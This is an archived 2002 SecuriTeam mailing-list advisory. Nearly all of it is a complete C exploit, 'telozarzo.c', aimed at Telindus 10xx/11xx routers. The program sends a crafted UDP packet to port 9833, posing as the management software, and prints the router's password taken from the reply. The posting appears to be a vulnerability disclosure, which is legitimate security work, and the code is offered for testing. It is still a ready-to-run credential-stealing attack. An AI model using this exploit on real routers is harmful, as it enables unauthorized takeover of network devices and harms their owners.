[EXPL] Telindus Router 10xx and 11xx Remote Exploit

From: support@securiteam.com
Date: 06/28/02 

From: support@securiteam.com
To: list@securiteam.com
Date: Fri, 28 Jun 2002 08:34:33 +0200 (CEST)

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  Telindus Router 10xx and 11xx Remote Exploit
------------------------------------------------------------------------

SUMMARY

The 11xx router series by Telindus has a very serious remotely exploitable
compromise, because an intruder may mimic the behavior of a desktop
management application, thus getting control of the router. The following
is an exploit code that can be used to test the mentioned vulnerability.

For more information, see our previous article:
 <http://www.securiteam.com/securitynews/5DP0A2K7GY.html> Vulnerabilities
Found in Telindus 11xx Router Series

DETAILS

Exploit code:
/* telozarzo.c */

#include<sys/types.h>
#include<sys/socket.h>
#include<netinet/in.h>
#include<netinet/udp.h>
#include<arpa/inet.h>
#include<sys/time.h>
#include<string.h>
#include<stdio.h>
#include<signal.h>
#include<unistd.h>
#include<stdlib.h>

#define BUFFER_SIZE 300

struct sockaddr sa;
struct sockaddr sf;
struct sockaddr *from;
struct sockaddr_in *p, *d;
int len;
int fd;
int sent,recvd;
unsigned long start_ip;

char pass[32];
char str[10];
FILE *logfile;

struct timeval minutetimeout;
int TIMEOUT;

int numhost=0, numfound=0;
double per;

u_char data2recv[BUFFER_SIZE];
u_char data2sent[62]={
    0x19, 0x73, 0x04, 0x17, 0x73, 0x30, 0x00, 0x01,
    0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x01, 0x02,
    0x01, 0x33, 0x01, 0x13, 0x01, 0x16, 0x04, 0x08,
    0x04, 0x15, 0x01, 0x0D, 0x01, 0x0E, 0x01, 0x14,
    0x40, 0x03, 0x40, 0x04, 0x01, 0x26, 0x01, 0x27,
    0x01, 0x28, 0x01, 0x30, 0x01, 0x44, 0x42, 0x05,
    0x42, 0x22, 0x04, 0x18, 0xFF, 0xFF, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00
    };

void func_alarm_telindus (int s) {
  close(fd);
  return;
}

void exitnow () {
  close(fd);
  exit(2);
}

int checktelindus (unsigned long ip) {

  int i=0;
  char *s;

  p=(struct sockaddr_in*)&sa;
  p->sin_family=AF_INET;
  p->sin_port=htons(9833);
  p->sin_addr.s_addr= htonl(ip);

  d=(struct sockaddr_in*)&sf;
  d->sin_family=AF_INET;
  d->sin_port=htons(9833);
  d->sin_addr.s_addr=INADDR_ANY;

  minutetimeout.tv_sec = TIMEOUT;
  minutetimeout.tv_usec = 0;

  bzero (data2recv, sizeof (data2recv));

  fd=socket(AF_INET,SOCK_DGRAM,0);

  bind (fd, (struct sockaddr*)d, sizeof (struct sockaddr));
  sent=sendto(fd,&data2sent,62,0,(struct sockaddr*)p,sizeof(struct
sockaddr));

  signal(SIGALRM, func_alarm_telindus);
  alarm(TIMEOUT);

  if (recvfrom(fd,data2recv,BUFFER_SIZE,0,from,&len)<=0) {
    alarm(0);
    signal(SIGALRM,SIG_DFL);
    bzero (data2recv, sizeof (data2recv));
    return(-1);
  }

  s=data2recv;
  while (i<5) {
    while ((*(s++)) != '\0'); i++;
  }

  if (*s == '\0') {
    printf ("pw vuota\n");
  } else {
    strncpy (pass, ++s, strlen(s) -3 );
    printf ("pw: = %s \n", pass);
  }
  alarm(0);
  signal(SIGALRM,SIG_DFL);
  return (0);
}

void usage (char *cmd) {
  printf ("\n%s ip\n", cmd);
  exit(1);
}

int main(int argc, char *argv[]) {

  if (argc != 2) usage(argv[0]);
  start_ip=inet_addr(argv[1]);

  signal(SIGINT, exitnow);
  signal(SIGTERM, exitnow);
  signal(SIGKILL, exitnow);
  signal(SIGQUIT, exitnow);

  checktelindus (ntohl(start_ip));

  return (0);
}

ADDITIONAL INFORMATION

The information has been provided by <mailto:rubik@olografix.org>
Telindus.

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